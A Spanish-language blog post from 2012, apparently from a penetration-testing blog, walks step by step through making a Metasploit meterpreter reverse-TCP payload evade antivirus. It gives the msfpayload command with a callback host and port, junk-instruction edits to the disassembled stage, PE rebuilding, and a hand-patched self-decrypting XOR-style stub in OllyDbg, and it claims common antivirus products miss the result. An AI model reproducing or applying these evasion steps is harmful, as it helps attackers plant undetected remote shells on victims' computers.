jueves, 2 de agosto de 2012

Manipulación manual de binarios para evasión de antivirus (I)

Es habitual escuchar en muchas empresas que con un antivirus ya se esta protegiendo bastante a los equipos de los empleados frente a binarios maliciosos.
En esta entrada, vamos a ver como un payload de metasploit (meterpreter) que es bastante conocido por los antivirus, puede hacerse totalmente indetectable prácticamente por cualquier antivirus manipulando su código en ensamblador.No apto para script kiddies !

No utilizamos los encoders de meterpreter por que como todos sabemos actualmente muy pocos AV no los detectan.

Lo primero vamos a generar nuestro meterpreter en formato raw:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > meterpreter_raw

Después, desensamblamos el meterpreter con disassemble.rb de metasploit:

root@bt:/pentest/exploits/framework# pwd
/pentest/exploits/framework
ruby -I lib/metasm/ lib/metasm/samples/disassemble.rb meterpreter_raw > meterpreter.asm

En meterpreter.asm ya tenemos el código en ensamblador del primer stage del meterpreter.Como se puede ver no es mucho código, ya que el primer stage es pequeño.Vamos a intentar modificar el código para intentar que los antivirus no lo detecten.

Para modificar el código, debemos jugar con registros pero con cuidado no vayamos a romper el flujo de ejecución.Tenemos que saber bien que es lo que hacemos.Lo ideal es buscar en el código lineas como xor eax,eax (poner a cero el registro EAX) y sabemos que antes de esta instrucción deberíamos poder jugar con eax para no romper el flujo de ejecución.

Por ejemplo:

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff  <-- aquí tenemos un xor


Cambiamos esta sección quedando así: (jugamos también con ecx y no rompemos el flujo de ejecución)

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    push edi
    pop edi
    push edi
    push edi
    push edi
    pop edi
    pop edi
    pop edi
    mov edi, ecx
    push edi
    pop edi
    mov edi, ecx
    xor ecx, ecx
    mov ecx, edi
    xor edi, edi                                 ; @1ch  31ff <- el xor de antes


Podemos probar a cambiar mas secciones del código del primer stage, cuando mas cambiemos , en teoría mas dificultades tendrá el AV de detectarlo.

Al principio del fichero .asm hay que añadir la seccion .text y el entrypoint:

.section '.text' rwx
.entrypoint

Utilizamos la utilidad peencode.rb de metasploit para generar el fichero PE.

ruby -I lib/metasm/ lib/metasm/samples/peencode.rb  meterpreter.asm -o met.exe

Como podéis comprobar algunos AV ya nos los saltamos, otros no, como AVAST.



Bien, para hacerlo aún mas indetectable, vamos a manipular el .exe con ollydbg.

Así nos encontramos el met.exe nada mas abrirlo con el olly:




Buscamos en el binario una zona que podamos añadir código, la localizamos un poco mas abajo, nos apuntamos la dirección de memoria:


Sustituimos la primera instrucción por un jmp a la dirección de memoria anotada:


Hay que tener en cuenta que  el jmp ocupa mas opcodes que la primera instrucción que tiene met.exe (instrucción CLD ) por lo que la siguiente instrucción (CALL 004010A4) desaparece también por lo que tenemos que anotarnos el CLD y el CALL para luego ejecutarlos y continuar con el correcto flujo de ejecución. Nos guardamos el CLD y el CALL en un txt.

Ahora, donde hemos saltado con el jmp del entrypoint, pondremos nuestra rutina de cifrado.Vamos a cifrar todo el código desde después de la dirección(00401006) de nuestro jump que salta a la rutina de cifrado hasta justo antes de empezar la rutina de cifrado(00401136).Efectivamente, estamos "hardcodeando" las direcciones de memoria por lo que con un sistema con ASLR como Win7 no funcionaría, pero lo solucionaremos más adelante.

Haremos una sencilla resta de 69 en hexadecimal a cada opcode, y luego para descifrarlo haremos la suma de 69.

Rutina de cifrado:

00401137      MOV EAX,met.00401006  <-- Meto en EAX la direccion de inicio donde empiezo a cifrar
0040113C     SUB BYTE PTR DS:[EAX],69 <-- Resto 69 Hx al contenido de la direccion que apunta EAX.
0040113F     INC EAX  <-- incremento EAX
00401140     CMP EAX,met.00401136 <-- Comparo EAX con la direccion hasta donde quiero cifrar
00401145     JLE SHORT met.0040113C   <-- Hasta que no termine sigo con el bucle de cifrado
00401147     CLD  <-- Este es el CLD del entrypoint que nos hemos anotado
00401148     CALL met.004010A4 <-- Este es el Call que nos hemos anotado
0040114D    JMP met.00401006 <-- Este jump nos vuelve arriba justo despues de nuestro jmp del entrypoint y el binario continua con su correcto flujo de ejecucion

Asi queda en el ollydbg:


Ahora, abrimos  met_xp_1.exe con olly y vemos como en el entrypoint tenemos nuestro JMP.Vamos a ejecutarlo poco a poco, con F7 vamos avanzando y vemos como el JMP se ejecuta y salta abajo a nuestra rutina de cifrado.

Según se vaya ejecutando el SUB [EAX],69 del bucle podemos ir viendo como se van modificando las zonas de memoria, para hacerlo mas rápido y del tirón ponemos un breakpoint (F2) en la instrucción justo después del JLE y le damos a F9 para que el bucle se ejecute entero.Si subimos con olly, podemos ver como todo el código ha sido modificado e incluso el olly no es capaz de interpretarlo.En la siguiente imagen podemos ver nuestro jmp en el entrypoint y seguido el código ya cifrado en memoria:


Ahora que tenemos el código cifrado en memoria modificamos la rutina de cifrado, para convertirla en rutina de descifrado, para que finalmente lo guardemos en otro fichero.En este fichero final lo que tendremos es el jump del entrypoint que salta a nuestra rutina de descifrado, el código cifrado y la rutina de descifado, que descifrara todo el código y continuara con el flujo de ejecución normal, ejecutandose el primer stage del meterpreter correctamente.

Para convertir la rutina de cifrado en rutina de descifrado simplemente cambiamos el SUB por ADD y guardamos todo de nuevo en otro fichero met_xp_2.exe.
Lo abrimos con el olly y vamos viendo como se va descifrando , ponemos el breakpoint después del JLE , analizamos el código con olly (botón secundario analysis->analyse code) y vemos que esta todo correcto, ya sigue su ejecución con el CLD  y el CALL y el ultimo jump que vuelve justo despues del entrypoint y el primer stage del meterpreter continua ejecutandose correctamente.

Comprobamos que el avast ni se entera y por supuesto obtenemos sesión de meterpreter =) 



Hemos probado con los antivirus mas famosos y ninguno hasta ahora hemos visto que se entere, si lo detectase alguno, seria cuestión de afinar un poco mas hasta que no fuese detectado.

Y que pasa si queremos ejecutar esto en un sistema Windows7 con ASLR ? No funciona al estar las direcciones de memoria "hardcodeadas" en nuestra rutina de descifrado , mas adelante veremos como solucionarlo.


1 comentario: